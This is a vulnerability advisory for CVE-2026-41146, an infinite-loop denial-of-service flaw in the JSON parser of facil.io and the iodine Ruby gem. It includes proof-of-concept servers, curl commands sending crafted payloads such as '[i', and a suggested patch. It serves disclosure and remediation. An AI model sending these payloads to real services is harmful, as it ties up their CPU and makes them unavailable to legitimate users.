CVE-2026-41146 — Vulnerability in iodine — CVE Details

### Summary `fio_json_parse` can enter an infinite loop when it encounters a nested JSON value starting with `i` or `I`. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because `iodine` vendors the same parser code, the issue also affects `iodine` when it parses attacker-controlled JSON. The smallest reproducer found is `[i`. The quoted-value form that originally exposed the issue, `[""i`, reaches the same bug because the parser tolerates missing commas and then treats the trailing `i` as the start of another value. ### Details The vulnerable logic is in `lib/facil/fiobj/fio_json_parser.h` around the numeral handling block (`0.7.5` / `0.7.6`: lines `434-468`; `master`: lines `434-468` in the current tree as tested). This parser is reached from real library entry points, not just the header in isolation: - `facil.io`: `lib/facil/fiobj/fiobj_json.c:377-387` (`fiobj_json2obj`) and `402-411` (`fiobj_hash_update_json`) - `iodine`: `ext/iodine/iodine_json.c:161-177` (`iodine_json_convert`) - `iodine`: `ext/iodine/fiobj_json.c:377-387` and `402-411` Relevant flow: 1. Inside an array or object, the parser sees `i` or `I` and jumps to the `numeral:` label. 2. It calls `fio_atol((char **)&tmp)`. 3. For a bare `i` / `I`, `fio_atol` consumes zero characters and leaves `tmp == pos`. 4. The current code only falls back to float parsing when `JSON_NUMERAL[*tmp]` is true. 5. `JSON_NUMERAL['i'] == 0`, so the parser incorrectly accepts the value as an integer and sets `pos = tmp` without advancing. 6. Because parsing is still nested (`parser->depth > 0`), the outer loop continues forever with the same `pos`. The same logic exists in `iodine`'s vendored copy at `ext/iodine/fio_json_parser.h` lines `434-468`. Why the `[""i` form hangs: 1. The parser accepts the empty string `""` as the first array element. 2. It does not require a comma before the next token. 3. The trailing `i` is then parsed as a new nested value. 4. The zero-progress numeral path above causes the infinite loop. Examples that trigger the bug: - Array form, minimal: `[i` - Object form: `{"a":i` - After a quoted value in an array: `[""i` - After a quoted value in an object: `{"a":""i` ## PoC Environment used for verification: - `facil.io` commit: `162df84001d66789efa883eebb0567426d00148e` - `iodine` commit: `5bebba698d69023cf47829afe51052f8caa6c7f8` - standalone compile against `fio_json_parser.h` ### Minimal standalone program Use the normal HTTP stack. The following server calls `http_parse_body(h)`, which reaches `fiobj_json2obj` and then `fio_json_parse` for `Content-Type: application/json`. ```c #define _POSIX_C_SOURCE 200809L #include <stdio.h> #include <time.h> #include <fio.h> #include <http.h> static void on_request(http_s *h) { fprintf(stderr, "calling http_parse_body\n"); fflush(stderr); http_parse_body(h); fprintf(stderr, "returned from http_parse_body\n"); http_send_body(h, "ok\n", 3); } int main(void) { if (http_listen("3000", "127.0.0.1", .on_request = on_request, .max_body_size = (1024 * 1024), .log = 1) == -1) { perror("http_listen"); return 1; } fio_start(.threads = 1, .workers = 1); return 0; } ``` `http_parse_body(h)` is the higher-level entry point and, for `Content-Type: application/json`, it reaches `fiobj_json2obj` in `lib/facil/http/http.c:1947-1953`. Save it as `src/main.c` in a vulnerable `facil.io` checkout and build it with the repo `makefile`: ```bash git checkout 0.7.6 mkdir -p src make NAME=http_json_poc ``` Run: ```bash ./tmp/http_json_poc ``` Then in another terminal send one of these payloads: ```bash printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/ printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/ printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/ printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/ ``` Observed result on a vulnerable build: - The server prints `calling http_parse_body` and never reaches `returned from http_parse_body`. - The request never completes. - One worker thread spins until the process is killed. ### Downstream impact in `iodine` `iodine` vendors the same parser implementation in `ext/iodine/fio_json_parser.h`, so any `iodine` code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior. Single-file `iodine` HTTP server repro: ```ruby require "iodine" APP = proc do |env| body = env["rack.input"].read.to_s warn "calling Iodine::JSON.parse on: #{body.inspect}" Iodine::JSON.parse(body) warn "returned from Iodine::JSON.parse" [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]] end Iodine.listen service: :http, address: "127.0.0.1", port: "3000", handler: APP Iodine.threads = 1 Iodine.workers = 1 Iodine.start ``` Run: ```bash ruby iodine_json_parse_http_poc.rb ``` Then in a second terminal: ```bash printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/ printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/ printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/ printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/ ``` On a vulnerable build, the server prints the `calling Iodine::JSON.parse...` line but never prints the `returned from Iodine::JSON.parse` line for these payloads. ## Impact This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted. I would describe the impact as: - Availability impact: high for affected parser entry points - Confidentiality impact: none observed - Integrity impact: none observed ## Suggested Patch Treat zero-consumption numeric parses as failures before accepting the token. ```diff diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h @@ uint8_t *tmp = pos; long long i = fio_atol((char **)&tmp); if (tmp > limit) goto stop; - if (!tmp || JSON_NUMERAL[*tmp]) { + if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) { tmp = pos; double f = fio_atof((char **)&tmp); if (tmp > limit) goto stop; - if (!tmp || JSON_NUMERAL[*tmp]) + if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) goto error; fio_json_on_float(parser, f); pos = tmp; ``` This preserves permissive `inf` / `nan` handling when the float parser actually consumes input, but rejects bare `i` / `I` tokens that otherwise leave the cursor unchanged. The same change should be mirrored to `iodine`'s vendored copy: - `ext/iodine/fio_json_parser.h` ## Impact - `facil.io` - Verified on `master` commit `162df84001d66789efa883eebb0567426d00148e` (`git describe`: `0.7.5-24-g162df840`) - Verified on tagged releases `0.7.5` and `0.7.6` - `iodine` Ruby gem - Verified on repo commit `5bebba698d69023cf47829afe51052f8caa6c7f8` - Verified on tag / gem version `v0.7.58` - The gem vendors a copy of the vulnerable parser in `ext/iodine/fio_json_parser.h`